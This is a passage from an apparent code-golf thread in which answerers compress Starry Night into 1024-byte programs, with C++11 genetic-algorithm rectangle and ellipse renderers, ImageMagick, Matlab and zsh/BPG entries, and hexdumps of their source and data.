QlBH+yAAgwKCQAADkkdARAHBcYMSAAABJgGvBVKInJKSe4D9mGo5+oRwrhSlmmqeYK22qun5kDzV+UZhRPdtXWSME8ABlNItkdoM5b0O7jO01KMnUbhSa4GAKq6U/AWBh8J4Od/O0RKwm2Bj1lAWi3yfWb9AB14B9/aml7juRU0fQTVS9LUQxE1eXTfp6f2SdBh9Ibyk3CNjdpEGdZLsuSPaQUP0vWnqtxyBsYQW1orBqzSh4zWFscTx5OMxA4FAw1/Y+/xx+TEUkogp4oykebVfCTFJYFRW6KZ+tvUOb5nFgrIuYbNrZcnWehWOK3rL7i2qCYJ2TnSlwKt4WL04zXve3ggGxAWlD/N6YCchdgS8zaZfVxouhwjbwc1Pb/KAajfGQlv7xHhj42ClMPGeqEZrriJTlLX8GUXpt8RP0LlbVR+PtgPRFerFRzJwTB5ThASKsaKt4LLSQqCXjgJvL2epSQaxq2IJkLelVTqate10dIngfVJqUL2r7omvwQ6N9DWi3ZiF6cRc4PMdPp4Ovo7nM/dlOn1CQ1sOp3mrP12EhGdiGvRsEqdt/jHC1roK5yJVv/L2bAOxK1EJ8qJqaApF7W1VY5htmci8C10UE5iTiBYcPzh8oxPUqXp9+wXgRsDY2sdIo6hOvp8IC9jQXkbDK2lJZjJvcwklTSFah/yqf6biaIOLTtHpEonH1jYXOS4dPzt6oNExlmJztgVFjbqlnB7k3i/mm2UL4+IPjgMMOmH+fwluY+cDA2zG+QtVDGwhSaEEvS9B7L2VkayIuEXKpk9pu/58xwlw4/xQOJE1QGVvSi6uL7DEH4qsumBOGAs50DRu2pCSGfa4c+wn3M0DuFM1p/iRFnq+aNk2PsPc00k8EI5i4QOt/+ac+zKmgEztiz7yI+FzIVKGnn32wLkHVu1ei3VhkWhMy8xlUTAq+fBreWQY > s.b64 certutil -decode s.b64 s.bpg bpgdec.exe -o stnight.png s.bpg ``` Program size is 1024 bytes. Converts from base64-encoded BPG image to PNG. Uses [certutil.exe](https://technet.microsoft.com/en-us/library/cc732443.aspx) (standard Windows utility) and [bpgdec.exe](https://en.wikipedia.org/wiki/Better_Portable_Graphics) image decoder as libraries. Compression: 1. The original image was blurred (Gaussian Blur filter, radius 2 pixels). 2. The result was encoded as BPG with bpgenc.exe (Quantizer = 50). 3. Binary image converted to Base64. ![Starry Night](https://i.stack.imgur.com/TXglj.png) [Answer] # C++11, ~~7441.68126105~~ ~~6997.65434833~~ 5198.16107651 ## More Updates I liked the ellipses from Perl so much I had to try them in C++11. I used the raw string to shove bytes into there, but for a while I was getting a slight discrepancy with the score I expected and the generated code. It turns out that you actually can't put a raw 0x0d (Carriage Return), since g++ will convert this to 0x0a (New Line). I'm honestly not sure how legitimate this generated source is, but it compiles and works on a couple of my machines. I also tried out another algorithm, [Adaptive Dimensional Search](http://www.sciencedirect.com/science/article/pii/S0045794915001042) after the GA looked like it stalled, just to try to polish off the local minimum and maybe get lucky and fall into another well. With this, C++11 gives a surprisingly competitive score (far better than I would have initially guessed)... I'm pretty surprised that it can do this with fstream as the only include. Text (yes, the newlines are in the actual source... I suppose I could remove them): ``` #include <fstream> #define U unsigned int main(){ auto *d=reinterpret_cast<const U char*>(R"(<<gibberish>>)"); U a=320,b=386,n=*d++; char m[a*b*3]{0}; for(U i=0;i<n;i++,d+=7){long x=2*d[0],y=2*d[1],w=2*d[2],h=2*d[3]; for(U r=0;r<a;r++){for(U c=0;c<b;c++){long u=c-x,v=r-y; if((w*w*v*v+h*h*u*u)<=w*w*h*h){auto *p=m+3*(r*b+c);*p++=d[4];*p++=d[5];*p=d[6];}}}} std::ofstream f{"e.ppm",std::ios::binary};f<<"P6\n386 320\n255\n";for(U i=0;i<a*b*3;i++){f<<m[i];} return 0;} ``` Hexdump: ``` 00000000: 2369 6e63 6c75 6465 203c 6673 7472 6561 #include <fstrea 00000010: 6d3e 0a23 6465 6669 6e65 2055 2075 6e73 m>.#define U uns 00000020: 6967 6e65 640a 696e 7420 6d61 696e 2829 igned.int main() 00000030: 7b0a 6175 746f 202a 643d 7265 696e 7465 {.auto *d=reinte 00000040: 7270 7265 745f 6361 7374 3c63 6f6e 7374 rpret_cast<const 00000050: 2055 2063 6861 722a 3e28 5222 2851 1274 U char*>(R"(Q.t 00000060: 5134 8c86 6c7f 2ea0 3638 4c8b c001 c126 Q4..l...68L....& 00000070: 6e84 9500 480b 2964 778f 0196 5c09 353d n...H.)dw...\.5= 00000080: 346f 476e 6433 4581 0f02 0509 9798 4d12 4oGnd3E.......M. 00000090: 0110 0362 7482 6300 4d1f 2631 645b 213d ...bt.c.M.&1d[!= 000000a0: 187e 835c 6f84 333d 2c3e 4f9d 71bb 1e22 .~.\o.3=,>O.q.." 000000b0: 2d3d 1f4f 0248 2424 235f 577e 1f71 8990 -=.O.H$$#_W~.q.. 000000c0: b314 3a89 404a 5920 1202 0c23 242a 8e01 ..:.@JY ...#$*.. 000000d0: 6d30 3645 7145 86b0 082c 3543 4d42 1f52 m06EqE...,5CMB.R 000000e0: 6879 7c7a 336d 1a37 4c82 b876 b606 3146 hy|z3m.7L..v..1F 000000f0: 70a1 015e 0b38 4b7f 0e46 a916 4360 8550 p..^.8K..F..C`.P 00000100: 1623 0930 407c bf13 6e73 4556 6252 9837 .#.0@|..nsEVbR.7 00000110: 4326 2c31 7d81 3303 2e3c 526c 4123 4b37 C&,1}.3..<RlA#K7 00000120: 4758 bd6f 8b0a 2d3c 6000 0006 1b2c 3a6b GX.o..-<`....,:k 00000130: a83a 134f 4254 6649 590e 174a 6986 3833 .:.OBTfIY..Ji.83 00000140: 0a29 3245 8695 1d27 583e 507f 963c 2b33 .)2E...'X>P..<+3 00000150: 2f3d 6fb6 191f 6752 5f63 b09e 5b0c 3239 /=o...gR_c..[.29 00000160: 4021 4b20 1941 5c87 ab18 1c1e 4a5f 8c35 @!K .A\.....J_.5 00000170: 9d19 311d 211e af4b 3327 4f64 986c 2712 ..1.!..K3'Od.l'. 00000180: 573b 4b73 b733 a718 5f76 9ca9 2919 2163 W;Ks.3.._v..).!c 00000190: 7e9e 8147 8914 8996 726b 1c17 1670 807b ~..G....rk...p.{ 000001a0: 5038 930e 6279 94b0 351d 3086 9b8e ba40 P8..by..5.0....@ 000001b0: c10e 3449 6721 4002 232f 394e 22a0 0e74 ..4Ig!@.#/9N"..t 000001c0: 2b2f 2c09 3d0e 1666 7e97 0570 2e05 526d +/,.=..f~..p..Rm 000001d0: 8a68 1e2f 0a40 5586 bf5d 150c 2022 2e5e .h./.@U..].. ".^ 000001e0: 260e 4b3a 4a7d a368 3807 4c63 972b 5707 &.K:J}.h8.Lc.+W. 000001f0: 2e41 5a79 865e 3c06 2326 3927 9d0e 411d .AZy.^<.#&9'..A. 00000200: 211d c030 9b16 657f 9666 2434 0a5f 7592 !..0..e..f$4._u. 00000210: 873b 0a1d 8895 89a9 432e 0aa2 aa95 af1d .;......C....... 00000220: 1212 aab1 7c80 5833 162c 3758 834d 3117 ....|.X3.,7X.M1. 00000230: 718b 9579 2a06 163e 5381 8439 3b0c 5172 q..y*..>S..9;.Qr 00000240: 9d54 3a16 1538 4e73 8c4f 1f0e 8fa2 9ab0 .T:..8Ns.O...... 00000250: 200b 07b8 a946 5e40 1e19 5971 9457 5028 ....F^@..Yq.WP( 00000260: 125b 779b bb49 1a07 a1ad a022 7b0a 421f .[w..I....."{.B. 00000270: 231f 585e 200f 5f77 8a41 5b0e 136a 8089 #.X^ ._w.A[..j.. 00000280: 9ca0 9d01 5648 3a40 550c 0c9f a89e 7841 ....VH:@U.....xA 00000290: 2a19 566f 9429 2229 3b0a 5520 613d 3332 *.Vo.)");.U a=32 000002a0: 302c 623d 3338 362c 6e3d 2a64 2b2b 3b0a 0,b=386,n=*d++;. 000002b0: 6368 6172 206d 5b61 2a62 2a33 5d7b 307d char m[a*b*3]{0} 000002c0: 3b0a 666f 7228 5520 693d 303b 693c 6e3b ;.for(U i=0;i<n; 000002d0: 692b 2b2c 642b 3d37 297b 6c6f 6e67 2078 i++,d+=7){long x 000002e0: 3d32 2a64 5b30 5d2c 793d 322a 645b 315d =2*d[0],y=2*d[1] 000002f0: 2c77 3d32 2a64 5b32 5d2c 683d 322a 645b ,w=2*d[2],h=2*d[ 00000300: 335d 3b0a 666f 7228 5520 723d 303b 723c 3];.for(U r=0;r< 00000310: 613b 722b 2b29 7b66 6f72 2855 2063 3d30 a;r++){for(U c=0 00000320: 3b63 3c62 3b63 2b2b 297b 6c6f 6e67 2075 ;c<b;c++){long u 00000330: 3d63 2d78 2c76 3d72 2d79 3b0a 6966 2828 =c-x,v=r-y;.if(( 00000340: 772a 772a 762a 762b 682a 682a 752a 7529 w*w*v*v+h*h*u*u) 00000350: 3c3d 772a 772a 682a 6829 7b61 7574 6f20 <=w*w*h*h){auto 00000360: 2a70 3d6d 2b33 2a28 722a 622b 6329 3b2a *p=m+3*(r*b+c);* 00000370: 702b 2b3d 645b 345d 3b2a 702b 2b3d 645b p++=d[4];*p++=d[ 00000380: 355d 3b2a 703d 645b 365d 3b7d 7d7d 7d0a 5];*p=d[6];}}}}. 00000390: 7374 643a 3a6f 6673 7472 6561 6d20 667b std::ofstream f{ 000003a0: 2265 2e70 706d 222c 7374 643a 3a69 6f73 "e.ppm",std::ios 000003b0: 3a3a 6269 6e61 7279 7d3b 663c 3c22 5036 ::binary};f<<"P6 000003c0: 5c6e 3338 3620 3332 305c 6e32 3535 5c6e \n386 320\n255\n 000003d0: 223b 666f 7228 5520 693d 303b 693c 612a ";for(U i=0;i<a* 000003e0: 622a 333b 692b 2b29 7b66 3c3c 6d5b 695d b*3;i++){f<<m[i] 000003f0: 3b7d 0a72 6574 7572 6e20 303b 7d ;}.return 0;} ``` [![C++11 Ellipses](https://i.stack.imgur.com/CKIdL.png)](https://i.stack.imgur.com/CKIdL.png) --- This answer combines several approaches from previous answers, which I'll explain below, unfortunately I ended up having to somewhat golf the program to fit in ~~944~~ 949 chars (according to `wc -c`), so it doesn't look much like C++ anymore (apologies if this is against the rules of the challenge, I'm going to try for some improvements shortly). I didn't plan on this at first so it still isn't completely indecipherable and there's still plenty of low-hanging fruit. ## Updated Results Merely running the genetic algorithm for longer has produced a slightly better result; however, given that the convergence has slowed significantly I'd say that this particular method is probably starting to top out (or I've fallen into some deep local minimum). I golfed the final program some more to squeeze in a couple more rectangles (the generator remains the same, except the maximum genome size was increased). Implementing the crossover between individuals will help if the problem is a deep local minimum, but given that it's stayed in the same range for a while, I'm starting to think this is about as good as it gets for the number of rectangles. ``` #include <fstream> #include <vector> #define q operator #define s struct #define k return using o=std::ofstream;using i=int;s C{unsigned char r,g,b;};void q<<(o &z,C &c){z<<c.r<<c.g<<c.b;}s R{i x,y,w,h;C c;};s P{P(i a,i b):w(a),h(b),p(w*h){}C &q()(i x,i y){k p[y*w+x];}i w,h;std::vector<C> p;};void q<<(o &z,P &p){z<<"P6\n"<<p.w<<" "<<p.h<<"\n255\n";for(i n=0;n<p.w*p.h;n++){z<<p.p[n];}}i main(){R a{0,0,386,320,{73,87,116}};P p(386,320);for(auto r: {a ,{0,174,385,145,{48,56,65}} ,{0,33,322,201,{97,123,144}} ,{289,26,96,136,{152,167,153}} ,{114,62,225,128,{128,150,151}} ,{46,74,116,245,{33,38,36}} ,{150,17,224,63,{170,172,109}} ,{85,41,125,158,{70,94,122}} ,{125,197,260,37,{59,77,118}} ,{109,78,105,138,{111,132,145}} ,{76,94,309,33,{88,115,148}} ,{176,17,139,160,{86,111,148}} ,{213,228,172,35,{62,79,97}} ,{0,11,270,89,{75,94,130}} } ){for(i x=0;x<r.w;x++){for(i y=0;y<r.h;y++){p(r.x+x,r.y+y)=r.c;}}}o f{"a.ppm",std::ios::binary};f<<p;k 0;} ``` [![enter image description here](https://i.stack.imgur.com/vWv2T.png)](https://i.stack.imgur.com/vWv2T.png) ## Voronoi Version, 7331.92407536, 989 chars I used [Marco13's Voronoi Idea](https://codegolf.stackexchange.com/a/70230/49472) with my GA code. This actually didn't work as well as I was hoping. I could only squeeze in a few more points than rectangles. I think the potentially disjoint nature of the rectangles due to overlapping helps the score a bit. Regardless, I actually like the way this looks significantly better, despite the similar score to my first entry. ``` #include <fstream> #include <vector> #define q operator #define s struct #define k return using i=int;using o=std::ofstream;s C{unsigned char r,g,b;};void q<<(o &z,C &c){z<<c.r<<c.g<<c.b;}s P{i x,y;C c;P q-(P r){k {x-r.x,y-r.y,{0,0,0}};}i q*(P r){k x*r.x+y*r.y;}i q^(P r){P d=(*this-r);k d*d;}};s X{X(i a,i b):w(a),h(b),p(w*h){}C &q()(i x,i y){k p[y*w+x];}i w,h;std::vector<C> p;};void q<<(o &z,X &p){z<<"P6\n"<<p.w<<' '<<p.h<<"\n255\n";for(i n=0;n<p.w*p.h;n++){z<<p.p[n];}}i main(){P a{101,108,{72,89,122}};X p(386,320);for(i y=0;y<p.h;y++){for(i x=0;x<p.w;x++){P c(a),d{x,y,{0,0,0}};for(auto g:{a,{0,314,{48,56,58}},{182,135,{89,112,144}},{108,262,{34,39,41}},{357,221,{64,78,102}},{251,289,{50,60,75}},{129,161,{108,128,142}},{375,1,{83,104,137}},{44,161,{95,120,144}},{316,254,{53,65,85}},{47,161,{37,43,41}},{373,37,{159,167,121}},{313,138,{87,115,152}},{264,0,{71,88,130}},{314,141,{128,148,153}}}){i m=c^d;i n=g^d;if(n<m){c=g;}}p(x,y)=c.c;}}o f("v.ppm",std::ios::binary);f<<p;k 0;} ``` [![voronoi GA](https://i.stack.imgur.com/i9b4r.png)](https://i.stack.imgur.com/i9b4r.png) ## Old Results, 7441.68126105, 944 chars ``` #include <iostream> #include <fstream> #include <vector> #define q operator #define s struct #define k return using o = std::ostream; using i = int; s C{i r;i g;i b;}; o &q<<(o &z,C &c){z<<(char)c.r<<(char)c.g<<(char)c.b;k z;} s R{i x;i y;i w;i h;C c;};s P{P(i a,i b):w(a),h(b){p.reserve(w*h);}C &q()(i x,i y){k p[y*w+x];}i w;i h;std::vector<C> p;}; o &q<<(o &z,P &p){z<<"P6\n"<<p.w<<" "<<p.h<<"\n255\n";for(i n=0;n<p.w*p.h;n++){z<<p.p[n];}k z;} i main() { R a{0,0,386,320,C{89,109,129}}; P p(386,320); for (auto r: { a ,{48,31,334,288,C{46,55,66}} ,{1,237,169,81,C{35,40,40}} ,{348,48,37,115,C{126,147,155}} ,{165,20,217,68,C{169,173,113}} ,{106,2,209,217,C{98,120,143}} ,{206,199,178,62,C{61,79,108}} ,{11,31,113,48,C{65,83,129}} ,{239,84,109,106,C{108,132,152}} ,{0,78,326,42,C{86,110,142}} ,{47,0,248,55,C{64,79,121}} } ) { for(i dx=0;dx<r.w;dx++){for(i dy=0;dy<r.h;dy++){p(r.x+dx,r.y+dy)=r.c;}} } std::ofstream f("a.ppm"); f << p; k 0; } ``` Much like some of the other entries, the program just draws overlapping rectangles. It uses binary PPM since the format is simple (the output is `a.ppm`, but I uploaded a png version since SE didn't like the PPM), and is completely deterministic. [![PNG version of my output](https://i.stack.imgur.com/iTXHt.png)](https://i.stack.imgur.com/iTXHt.png) ## Explanation Generating the PPM took up a good chunk of boilerplate code, which meant I couldn't have too many rectangles even after golfing a bit. A few more can probably be squeezed in here to improve the score further. The real magic is the list of rectangles. Similar to [Wolfgang's answer](https://codegolf.stackexchange.com/a/70184/49472) I used a genetic algorithm to find these. Actually the implementation is largely incomplete, since recombination between individuals does not occur yet, but mutation still happens and the tournament-style ranking by fitness keeps the best organisms in the next round. Elitism is also used, as a copy of the best individual from the last round is kept into the next round, so the most fit organism is always at least as fit as in the previous round. I did not look too closely at Wolfgang's code since I had started this yesterday, but it appears that he allows the color to vary as well, which may explain the score difference. To keep the search space smaller, I only looked at rectangle position; the color is calculated by the per-channel average of the visible pixels from that rectangle since we have the source image (I don't think we can do any better than this for that particular rectangle since this minimizes the squared-distance). I will put up a github repository in the next couple of edits if I keep working on it, but for now the (single-file) code is [on pastebin](http://pastebin.com/UTk7Jq6B). Compile it in C++11 mode, (side-note, I'm pretty embarrassed about how messy it is even for a one-off). You will also need a P3 PPM image of starry night named `ORIGINAL.ppm` for this to work. You can download the file from [this GitHub Gist](https://gist.github.com/Mego/301484252f7aa1009416). [Answer] # ImageMagick, 4551.71 Uses the ImageMagick 'programming' language, using the following options (you might have to escape the `!`): ``` convert i -resize 386x320! o.png ``` Assuming the following 968 byte source file (given as hexdump): ``` 00000000: 89 50 4E 47 0D 0A 1A 0A - 00 00 00 0D 49 48 44 52 | PNG IHDR| 00000010: 00 00 00 30 00 00 00 28 - 08 03 00 00 00 8F 59 89 | 0 ( Y | 00000020: 43 00 00 00 3C 50 4C 54 - 45 1E 22 1F 5D 73 88 3B |C <PLTE " ]s ;| 00000030: 51 8A 38 48 60 51 6F 9C - 30 41 7C 38 40 41 49 63 |Q 8H`Qo 0A|8@AIc| 00000040: 8E 27 2E 3A 63 7C 9B 42 - 56 79 29 36 5C 74 8C A1 | '.:c| BVy)6\t | 00000050: 74 89 8B 8D A0 97 4E 5C - 62 A4 AF 9E B0 B4 79 84 |t N\b y | 00000060: 8F 70 B3 A3 3C C0 50 80 - E6 00 00 03 47 49 44 41 | p < P GIDA| 00000070: 54 78 01 65 91 07 16 C3 - 28 0C 44 25 9A A8 C6 71 |Tx e ( D% q| 00000080: EE 7F D7 FD C2 5B B3 F3 - 1C EA 7C 15 22 A3 EB D2 | [ | " | 00000090: 5E 47 D4 38 46 B0 A5 21 - E7 AE AA 9D 79 8C D1 63 |^G 8F ! y c| 000000a0: 8E 21 F4 6E 66 81 2F 77 - 19 F6 7C 9F 36 46 7E 94 | ! nf /w | 6F~ | 000000b0: 61 3D D0 28 58 CE 39 F8 - 22 9C B1 63 D7 B6 D4 0C |a= (X 9 " c | 000000c0: 60 3D 4F CB 98 63 1E 99 - 33 7D 1E DC 28 70 A1 21 |`=O c 3} (p !| 000000d0: E4 90 C1 75 5E D7 E7 BA - 96 4A 0E AD B5 90 47 CD | u^ J G | 000000e0: 88 70 39 E8 66 66 63 00 - CB CE CA 6C 5D 1F 04 22 | p9 ffc l] "| 000000f0: 83 5B 0E EB 01 88 F6 8A - 08 2F D0 07 9B D4 A6 FB | [ / | 00000100: BF DF CF 0D 10 5E A0 EC - DD F3 2B 8A 3B 4B 53 35 | ^ + ;KS5| 00000110: C0 9C 5F E0 0B 03 40 82 - 03 EC E7 BB 33 EA 96 30 | _ @ 3 0| 00000120: D2 B9 33 DE 01 B2 34 4F - 7C 74 49 78 55 F7 F7 FB | 3 4O|tIxU | 00000130: 30 9B 29 2F 35 E7 4C AD - A5 30 3A 70 4B 29 5D FF |0 )/5 L 0:pK)] | 00000140: 00 BC FB C9 D0 55 3D 54 - C2 AF A8 29 61 5B 1F FA | U=T )a[ | 00000150: 5C 0B 62 DE 10 C8 81 44 - 5F 00 99 E0 44 55 5D 8B |\ b D_ DU] | 00000160: 55 27 AE 13 59 79 CC 99 - AC AD FB 00 F4 D0 74 69 |U' Yy ti| 00000170: 0F 21 96 86 56 6B B3 47 - 32 21 6C D6 CC D6 9A 64 | ! Vk G2!l d| 00000180: A0 D0 CF E9 79 49 9A 6B - E2 53 51 CC 30 71 D0 86 | yI k SQ 0q | 00000190: 61 61 6F 88 25 40 48 EB - BA EE EB 9A 4D D4 9A 6B |aao %@H M k| 000001a0: CB 66 D4 67 C5 B3 4F 7C - 73 B6 D0 ED 34 C6 07 37 | f g O|s 4 7| 000001b0: FD 58 3C 0E A5 14 D9 73 - 1A 80 01 BC 57 3C 55 07 | X< s W<U | 000001c0: 20 87 85 03 1C 4E A6 4B - 15 80 37 31 3D FE A4 CD | N K 71= | 000001d0: 12 00 0E 83 41 E9 55 37 - 7D 01 2D 55 A2 F1 B6 39 | A U7} -U 9| 000001e0: 78 25 FA BE 18 94 CE B5 - DA 89 7E D4 AE 5B 3C 77 |x% ~ [<w| 000001f0: 33 11 29 3D C6 11 0E 00 - 11 08 6E AA 2C F5 64 82 |3 )= n , d | 00000200: 98 B4 7D DF 72 35 F2 6C - 41 31 52 30 51 D0 3C A5 | } r5 lA1R0Q < | 00000210: E0 A7 1A 42 E0 C6 8E FB - 05 4C 3F 4F 71 A0 73 3C | B L?Oq s<| 00000220: 79 39 E4 98 92 83 EC 6F - 2F 13 EF 91 50 2D FF 89 |y9 o/ P- | 00000230: 03 C5 D2 89 32 79 75 A2 - 78 A7 86 19 86 F9 3E F5 | 2yu x > | 00000240: 30 0A 55 EB F3 54 CF E0 - 3D DD 9F FB B6 DC 9B BF |0 U T = | 00000250: 7F 27 03 52 0D CD BD 73 - AE 5D 8A 84 4E A8 2E 28 | ' R s ] N .(| 00000260: 9A 5E B7 FF FD 6A 28 99 - 03 CA 13 AB AE FB C2 DF | ^ j( | 00000270: 1A 75 54 21 77 B6 28 A8 - F4 3E 4F 5A 7A 34 3E 6B | uT!w ( >OZz4>k| 00000280: 58 2F E4 5A 6B EE 5A 85 - 6F AD 65 2F 50 63 57 F7 |X/ Zk Z o e/PcW | 00000290: 2F 7C 48 DD 06 30 8F D8 - D7 51 91 34 CE 1A 00 8A |/|H 0 Q 4 | 000002a0: B1 37 6E 9E 67 BD C3 0B - CE A9 AA BD D4 3A A2 4B | 7n g : K| 000002b0: B4 11 69 0B 22 DF 6E C4 - C4 89 D5 5D 7D 8C 41 DE | i " n ]} A | 000002c0: 1E BD 98 68 C9 EB 14 55 - 1E FA 2F 40 88 D9 68 55 | h U /@ hU| 000002d0: 4D 93 B9 3D 43 54 9F 79 - CC 23 93 40 6F 4D E5 25 |M =CT y # @oM %| 000002e0: 44 76 37 9C 91 21 C6 9C - 63 1C D5 CD C1 F8 52 6B |Dv7 ! c Rk| 000002f0: 9E A1 1B E1 1A 56 E4 23 - 36 A2 7A D0 DE F3 89 DD | V #6 z | 00000300: 51 EC D1 BC C8 BD A5 12 - 20 47 F9 47 E3 6D 0F 20 |Q G G m | 00000310: E2 27 4B 89 85 FD 8E BA - 11 40 C5 21 FF 52 45 A5 | 'K @ ! RE | 00000320: 6F 9E 6C 13 D9 75 8C 3E - E9 01 D0 2F 80 89 A2 08 |o l u > / | 00000330: 0A 30 4A 2D C0 F8 B5 E3 - 2F DC 93 42 FE 8D D4 81 | 0J- / B | 00000340: CB 0B E1 02 23 33 16 F2 - BD 59 A4 94 01 20 3F 39 | #3 Y ?9| 00000350: 64 97 B2 2B D1 11 0E 47 - F6 AE 85 E6 C4 C7 5F 80 |d + G _ | 00000360: 8F 42 36 76 21 60 F5 64 - 7E 72 24 67 2F BF 44 45 | B6v!` d~r$g/ DE| 00000370: EE 78 B7 91 74 A7 95 4D - 06 2E E0 7F 45 A0 78 10 | x t M . E x | 00000380: D6 83 9A CA 8E 75 17 9C - 00 05 FD 1F 70 95 57 70 | u p Wp| 00000390: B4 79 BA 97 53 1B AA BF - 39 DC 56 98 10 AF 73 DA | y S 9 V s | 000003a0: 06 72 B7 50 9D 0B E2 5F - 10 6E 54 DF 5F 8C 4C 48 | r P _ nT _ LH| 000003b0: 3C E9 FE 03 71 28 35 5B - 5B 36 D8 64 00 00 00 00 |< q(5[[6 d | 000003c0: 49 45 4E 44 AE 42 60 82 - |IEND B` | 000003c8; ``` Producing this image: [![starry night - compressed](https://i.stack.imgur.com/sd1I9.png)](https://i.stack.imgur.com/sd1I9.png) --- You're probably wondering how I generated the input file, and the answer is rather simple. Resize to 48x40 with the Lanczos filter, use a 20 color indexed palette, and optimize the resulting PNG. ``` convert ORIGINAL.png -filter Lanczos2 -resize x40 - | pngquant --speed 1 -f 20 > i optipng -o7 -strip all i && advdef -z -4 -i 1024 i ``` Uses [`convert`](http://www.imagemagick.org/script/index.php), [`pngquant`](https://pngquant.org/), [`optipng`](http://optipng.sourceforge.net/) and [`advdef`](https://github.com/amadvance/advancecomp). [Answer] # Matlab, score 5388.3 Without any built in compression. The colour depth is reduced such that each pixel can be represented by one printable character. And the resolution is reduced. This is then hardcoded as a string. The code itself reverses the whole process. The resizing operation is using a Lanczos 3 interpolation kernel. ``` imwrite(imresize(reshape('@<8BJJME<NI=388?WI9:IMKNDFRA48;?::65BG<E<478441;>4IC>;5011012313:6IFLF:=>8532313@<4AOI6M\M>22322M><JCECVhZM72312C@AL>HMJNQH44504B8FGBIDF=LE6:738>4@IDFAEAMH9:<69<B>HHNEB>OA;<<99AV?@DFFCCN98<58<?@;G@?IFMQ67;44>=8;XJ?IIKQ89875@>?ABC@ECNM9>:88;AL[TBBCN^F5><7=6F`hgXAI_T==C@;:9Iehh\?RdB5FFD9;7DX]^OD]]66CCA:9:EB?HQSUNFURE7<:A[O@AOUUWNP[J7;=A>?;<JL?G>6;<542=C7JHC?9122113435?<KMTOAFG>642325FB;JWP?U`SB33333SCCRKMN\h_U;4422HDHRFPTSUWQ:7633G>KNKQMOGTM:?858C8EPLOINKUP@@>:<AGDPOVMKHVGAB?;9E[FGKMOMMV?>C89<DFBMIGPPUX:<B84>B<A]SHPQSY<@>:6ADFIKMJOLUV>E?;>=HTb[LMOVdM:EB:@8Odde_NTc\ACIF@=;QfebaLYhG7OLI<>:I^aaXN`a78JGF>;<PRUVX\\YUVYQ?@<:OX[TY``VZZ]X?A:<LQOOUQA?>:=?5219LG@KK?:01///2323JSLV`ZNPQC741223PTVZ\RO]\YE12211SUUXRU]^Z_XA3210QOUUS[^^]VUI<930RSTVY[WZVXSFF;57SQSZZ]WXZVVMF>;<SUT\[`YWWWQPHC<:NOTWZZYZVWNLK>9:SSQSXUX]]XFJK<6>ROTX\YZ][[INB>:CSY^^^Y\[YXMNBACAUZ[ZZ]^\^PKPH?D?YSAFXaa^^HVSKEAAWMK<V^\bJ@`SJC@9TYWQ\Y[^:@[KFE@;'-40,R,C,3)/86,[320,386],'lanczos3'),'t.png') ``` [![enter image description here](https://i.stack.imgur.com/jHucH.png)](https://i.stack.imgur.com/jHucH.png) [Answer] # zsh+bpgdec, 4159.061760861207 Yes, another BPG solution. I think this basically serves to prove that BPG is the best image compression utility currently available. Consider it an improvement over [yallie's original BPG solution](https://codegolf.stackexchange.com/a/70283/6699). The file is 1024 bytes long, right at the limit. It consists of the line ``` exec bpgdec =(tail -n+2 $0) ``` followed by the raw BPG output from ``` bpgenc -c ycbcr -f 444 -q 48 -m 12 -e jctvc ORIGINAL.png -o 1.bpg ``` In hex, this is the script: ``` 0000000: 6578 6563 2062 7067 6465 6320 3d28 7461 exec bpgdec =(ta 0000010: 696c 202d 6e2b 3220 2430 290a 4250 47fb il -n+2 $0).BPG. 0000020: 7000 8302 8240 0003 9242 5003 9242 5044 [[email protected]](/cdn-cgi/l/email-protection) 0000030: 09c1 9095 8112 0000 0001 4401 c190 9581 ..........D..... 0000040: 1603 7000 0001 2609 ae0b 30e7 6016 6a97 ..p...&...0.`.j. 0000050: 9ad3 4192 8fd0 7000 0003 0000 0300 0003 ..A...p......... 0000060: 0000 0300 0003 0000 04cc 0000 0126 01af .............&.. 0000070: 0598 fd99 91f9 e8bf 2220 79ef 4ad2 83ea ........" y.J... 0000080: 517b d6ec e17c d59d 4b3d ea16 82a3 bfa3 Q{...|..K=...... 0000090: b8f6 5c75 1c55 c959 d1e2 cf13 e10c 183f ..\u.U.Y.......? 00000a0: 2495 60c0 5b65 971f 8e7c 453d b2e4 fa80 $.`.[e...|E=.... 00000b0: 89dc f5e4 0010 8347 4d3a bb07 5baa 95f3 .......GM:..[... 00000c0: ac52 eca1 4e2a 3452 1493 b896 e9fb 4d5f .R..N*4R......M_ 00000d0: 4605 0bbf 14f6 ec00 4291 05d6 263b f524 F.......B...&;.$ 00000e0: a321 613c ad89 06d7 4983 29d9 f1d2 7acc .!a<....I.)...z. 00000f0: 5550 65d3 f33b d195 eedd a509 9750 f9ae UPe..;.......P.. 0000100: bcbc f3b5 3380 c8db 0c1b e932 1a52 2d10 ....3......2.R-. 0000110: f77a f967 5e62 a766 7ee4 a076 a85b dacf .z.g^b.f~..v.[.. 0000120: 4177 3136 0a73 62b5 76d2 efc4 5de0 f9a6 Aw16.sb.v...]... 0000130: ea4a d15a 7e7b 0e31 7f06 851d a2cf 0680 .J.Z~{.1........ 0000140: 114f 57bb 7477 4217 34b6 afae 71c0 020e .OW.twB.4...q... 0000150: b4ea 0725 348e 7dd6 00f7 adbb f7d5 c2fc ...%4.}......... 0000160: 3e36 8138 2420 1751 cf5a cb8a 6fb1 0e26 >6.8$ .Q.Z..o..& 0000170: d5f8 5df6 cdc3 07b5 76dd 2593 170f e9b7 ..].....v.%..... 0000180: 07db ad63 3746 9639 f707 8581 2a16 b9a1 ...c7F.9....*... 0000190: 3563 c292 a112 d7c1 2d25 9461 99c4 990e 5c......-%.a.... 00001a0: f917 2346 dc6f 51a5 fdc0 3a44 2f4f b0c9 ..#F.oQ...:D/O.. 00001b0: 15e9 7d88 d386 47aa b705 e97c f2ee c419 ..}...G....|.... 00001c0: e078 9aa3 b574 645a 631a 678a b7c7 6e69 .x...tdZc.g...ni 00001d0: 4bd4 e8df b657 d56e 9351 8750 63c2 141c K....W.n.Q.Pc... 00001e0: e3bb 8305 33ad 3362 08e8 d4b0 c5a8 af67 ....3.3b.......g 00001f0: 9695 63a0 ae96 a6fd 00a1 0105 eca5 db9e ..c............. 0000200: 27ce d2fb c8ea 7457 2f38 5fd0 080a 2ac7 '.....tW/8_...*. 0000210: 4919 6b6a 424d ef1e 02c4 3607 de31 7c0f I.kjBM....6..1|. 0000220: 7cb0 c90a 609b bbc1 7ae5 8d17 7fd3 406e |...`...z.....@n 0000230: 8df7 81f8 fb51 7366 beb2 fb62 51e3 58ce .....Qsf...bQ.X. 0000240: 55d5 8a28 a63b 7b31 0ede bdc2 9d13 04a2 U..(.;{1........ 0000250: c039 de93 638d 6c68 c3d3 e762 36ed 4ae2 .9..c.lh...b6.J. 